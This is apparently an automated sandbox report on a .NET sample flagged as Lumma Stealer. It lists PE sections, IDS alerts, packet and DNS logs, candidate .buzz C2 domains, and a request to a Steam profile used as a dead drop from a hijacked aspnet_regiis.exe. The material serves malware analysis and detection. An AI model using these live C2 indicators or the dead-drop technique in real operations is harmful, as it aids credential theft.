IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa0a78	0xa0c00	ea25bcb094238ae30bcddf71b94c0371	False	0.46740286012830484	data	7.114943161114869	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa4000	0x664	0x800	eb46fcabb49670b1a45623af347b691c	False	0.353515625	data	3.6082379532908373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa6000	0xc	0x200	b8621a767d2dd3d37ce617bafd19944b	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xa4090	0x3d4	data			0.42448979591836733
RT_MANIFEST	0xa4474	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T22:37:59.411853+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	92.122.104.90	443	TCP
2024-12-27T22:38:00.287622+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49730	92.122.104.90	443	TCP
2024-12-27T22:38:01.942440+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.66.86	443	TCP
2024-12-27T22:38:02.668693+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49731	104.21.66.86	443	TCP
2024-12-27T22:38:02.668693+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.66.86	443	TCP
2024-12-27T22:38:03.936184+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.66.86	443	TCP
2024-12-27T22:38:04.707649+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49732	104.21.66.86	443	TCP
2024-12-27T22:38:04.707649+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49732	104.21.66.86	443	TCP
2024-12-27T22:38:06.368262+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.66.86	443	TCP
2024-12-27T22:38:08.761026+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.66.86	443	TCP
2024-12-27T22:38:13.131035+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.66.86	443	TCP
2024-12-27T22:38:15.715385+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	104.21.66.86	443	TCP
2024-12-27T22:38:17.788574+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	104.21.66.86	443	TCP
2024-12-27T22:38:19.549492+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49739	104.21.66.86	443	TCP
2024-12-27T22:38:20.418310+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	104.21.66.86	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 22:37:57.929203033 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:37:57.929245949 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:37:57.929311991 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:37:57.932009935 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:37:57.932027102 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:37:59.411772013 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:37:59.411853075 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:37:59.413949966 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:37:59.413965940 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:37:59.414174080 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:37:59.453834057 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:37:59.457803011 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:37:59.503334045 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.287662029 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.287688017 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.287695885 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.287708998 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.287715912 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.287739038 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:38:00.287756920 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.287792921 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:38:00.287826061 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:38:00.475646973 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.475701094 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.475739002 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:38:00.475750923 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.475795031 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:38:00.506249905 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.506282091 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.506315947 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:38:00.506316900 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.506366014 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:38:00.569051027 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:38:00.569077969 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.569108963 CET	49730	443	192.168.2.4	92.122.104.90
Dec 27, 2024 22:38:00.569114923 CET	443	49730	92.122.104.90	192.168.2.4
Dec 27, 2024 22:38:00.718358040 CET	49731	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:00.718403101 CET	443	49731	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:00.718480110 CET	49731	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:00.718734026 CET	49731	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:00.718744993 CET	443	49731	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:01.942296982 CET	443	49731	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:01.942440033 CET	49731	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:01.944856882 CET	49731	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:01.944864988 CET	443	49731	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:01.945067883 CET	443	49731	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:01.946146011 CET	49731	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:01.946240902 CET	49731	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:01.946269035 CET	443	49731	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:02.668481112 CET	443	49731	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:02.668576956 CET	443	49731	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:02.668628931 CET	49731	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:02.668796062 CET	49731	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:02.668814898 CET	443	49731	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:02.668823957 CET	49731	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:02.668828011 CET	443	49731	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:02.677100897 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:02.677155018 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:02.677242041 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:02.677532911 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:02.677548885 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:03.936075926 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:03.936183929 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:03.937254906 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:03.937262058 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:03.937484980 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:03.938571930 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:03.938571930 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:03.938635111 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.707665920 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.707729101 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.707765102 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.707766056 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:04.707783937 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.707822084 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.707824945 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:04.707835913 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.707878113 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:04.707895994 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.715956926 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.716041088 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:04.716049910 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.724258900 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.724312067 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:04.724334002 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.766494989 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:04.827213049 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.875703096 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:04.875725985 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.912435055 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.912470102 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.912511110 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:04.912520885 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.912564993 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.912568092 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:04.912616968 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:04.912947893 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:04.912964106 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:04.912976027 CET	49732	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:04.912981987 CET	443	49732	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:05.061811924 CET	49733	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:05.061860085 CET	443	49733	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:05.061933994 CET	49733	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:05.062256098 CET	49733	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:05.062271118 CET	443	49733	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:06.368194103 CET	443	49733	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:06.368262053 CET	49733	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:06.369616032 CET	49733	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:06.369627953 CET	443	49733	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:06.369851112 CET	443	49733	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:06.371002913 CET	49733	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:06.371134043 CET	49733	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:06.371166945 CET	443	49733	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:06.371220112 CET	49733	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:06.371227026 CET	443	49733	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:07.362896919 CET	443	49733	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:07.362994909 CET	443	49733	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:07.363049030 CET	49733	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:07.363189936 CET	49733	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:07.363210917 CET	443	49733	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:07.488120079 CET	49734	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:07.488161087 CET	443	49734	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:07.488226891 CET	49734	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:07.488491058 CET	49734	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:07.488500118 CET	443	49734	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:08.760945082 CET	443	49734	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:08.761025906 CET	49734	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:08.762104034 CET	49734	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:08.762124062 CET	443	49734	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:08.762321949 CET	443	49734	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:08.763387918 CET	49734	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:08.763483047 CET	49734	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:08.763523102 CET	443	49734	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:11.697133064 CET	443	49734	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:11.697240114 CET	443	49734	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:11.697293997 CET	49734	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:11.697439909 CET	49734	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:11.697458029 CET	443	49734	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:11.916023970 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:11.916074038 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:11.916150093 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:11.916414022 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:11.916428089 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:13.130877972 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:13.131035089 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:13.131947041 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:13.131953955 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:13.132189035 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:13.133160114 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:13.133256912 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:13.133275032 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:13.133322001 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:13.133328915 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:14.066726923 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:14.066814899 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:14.066941977 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:14.067012072 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:14.067028999 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:14.455641985 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:14.455760002 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:14.455837965 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:14.456109047 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:14.456144094 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:15.715284109 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:15.715384960 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:15.716583967 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:15.716614962 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:15.716856003 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:15.718017101 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:15.718118906 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:15.718132019 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:16.485479116 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:16.485557079 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:16.485739946 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:16.485739946 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:16.530283928 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:16.530364037 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:16.530458927 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:16.530708075 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:16.530730963 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:16.797707081 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:16.797758102 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:17.788454056 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:17.788573980 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:17.839354992 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:17.839413881 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:17.839679956 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:17.891339064 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:17.900599957 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:17.900676012 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:17.900686979 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:19.549485922 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:19.549621105 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:19.549724102 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:19.549889088 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:19.549936056 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:19.596496105 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:19.596549988 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:19.596815109 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:19.597068071 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 22:38:19.597081900 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 22:38:20.418309927 CET	49743	443	192.168.2.4	104.21.66.86

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 22:37:56.269686937 CET	53330	53	192.168.2.4	1.1.1.1
Dec 27, 2024 22:37:56.486180067 CET	53	53330	1.1.1.1	192.168.2.4
Dec 27, 2024 22:37:56.489458084 CET	51521	53	192.168.2.4	1.1.1.1
Dec 27, 2024 22:37:56.626764059 CET	53	51521	1.1.1.1	192.168.2.4
Dec 27, 2024 22:37:56.631659031 CET	62238	53	192.168.2.4	1.1.1.1
Dec 27, 2024 22:37:56.769398928 CET	53	62238	1.1.1.1	192.168.2.4
Dec 27, 2024 22:37:56.771704912 CET	55834	53	192.168.2.4	1.1.1.1
Dec 27, 2024 22:37:56.909754038 CET	53	55834	1.1.1.1	192.168.2.4
Dec 27, 2024 22:37:56.912681103 CET	53641	53	192.168.2.4	1.1.1.1
Dec 27, 2024 22:37:57.051012039 CET	53	53641	1.1.1.1	192.168.2.4
Dec 27, 2024 22:37:57.053174973 CET	60520	53	192.168.2.4	1.1.1.1
Dec 27, 2024 22:37:57.193907022 CET	53	60520	1.1.1.1	192.168.2.4
Dec 27, 2024 22:37:57.195772886 CET	57198	53	192.168.2.4	1.1.1.1
Dec 27, 2024 22:37:57.333448887 CET	53	57198	1.1.1.1	192.168.2.4
Dec 27, 2024 22:37:57.416230917 CET	60618	53	192.168.2.4	1.1.1.1
Dec 27, 2024 22:37:57.555262089 CET	53	60618	1.1.1.1	192.168.2.4
Dec 27, 2024 22:37:57.562666893 CET	58876	53	192.168.2.4	1.1.1.1
Dec 27, 2024 22:37:57.703793049 CET	53	58876	1.1.1.1	192.168.2.4
Dec 27, 2024 22:37:57.732498884 CET	62627	53	192.168.2.4	1.1.1.1
Dec 27, 2024 22:37:57.871201038 CET	53	62627	1.1.1.1	192.168.2.4
Dec 27, 2024 22:38:00.575695038 CET	53372	53	192.168.2.4	1.1.1.1
Dec 27, 2024 22:38:00.716245890 CET	53	53372	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 22:37:56.269686937 CET	192.168.2.4	1.1.1.1	0xcbc8	Standard query (0)	ingreem-eilish.biz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:56.489458084 CET	192.168.2.4	1.1.1.1	0xcff2	Standard query (0)	prisonyfork.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:56.631659031 CET	192.168.2.4	1.1.1.1	0xae86	Standard query (0)	rebuildeso.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:56.771704912 CET	192.168.2.4	1.1.1.1	0x5add	Standard query (0)	scentniej.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:56.912681103 CET	192.168.2.4	1.1.1.1	0x9f2a	Standard query (0)	inherineau.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:57.053174973 CET	192.168.2.4	1.1.1.1	0x52af	Standard query (0)	screwamusresz.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:57.195772886 CET	192.168.2.4	1.1.1.1	0xee36	Standard query (0)	appliacnesot.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:57.416230917 CET	192.168.2.4	1.1.1.1	0xdbe2	Standard query (0)	cashfuzysao.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:57.562666893 CET	192.168.2.4	1.1.1.1	0x1ff6	Standard query (0)	hummskitnj.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:57.732498884 CET	192.168.2.4	1.1.1.1	0xf6bd	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:38:00.575695038 CET	192.168.2.4	1.1.1.1	0x9bd4	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 22:37:56.486180067 CET	1.1.1.1	192.168.2.4	0xcbc8	Name error (3)	ingreem-eilish.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:56.626764059 CET	1.1.1.1	192.168.2.4	0xcff2	Name error (3)	prisonyfork.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:56.769398928 CET	1.1.1.1	192.168.2.4	0xae86	Name error (3)	rebuildeso.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:56.909754038 CET	1.1.1.1	192.168.2.4	0x5add	Name error (3)	scentniej.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:57.051012039 CET	1.1.1.1	192.168.2.4	0x9f2a	Name error (3)	inherineau.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:57.193907022 CET	1.1.1.1	192.168.2.4	0x52af	Name error (3)	screwamusresz.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:57.333448887 CET	1.1.1.1	192.168.2.4	0xee36	Name error (3)	appliacnesot.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:57.555262089 CET	1.1.1.1	192.168.2.4	0xdbe2	Name error (3)	cashfuzysao.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:57.703793049 CET	1.1.1.1	192.168.2.4	0x1ff6	Name error (3)	hummskitnj.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:37:57.871201038 CET	1.1.1.1	192.168.2.4	0xf6bd	No error (0)	steamcommunity.com		92.122.104.90	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:38:00.716245890 CET	1.1.1.1	192.168.2.4	0x9bd4	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 27, 2024 22:38:00.716245890 CET	1.1.1.1	192.168.2.4	0x9bd4	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	92.122.104.90	443	4820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:37:59 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-27 21:38:00 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ 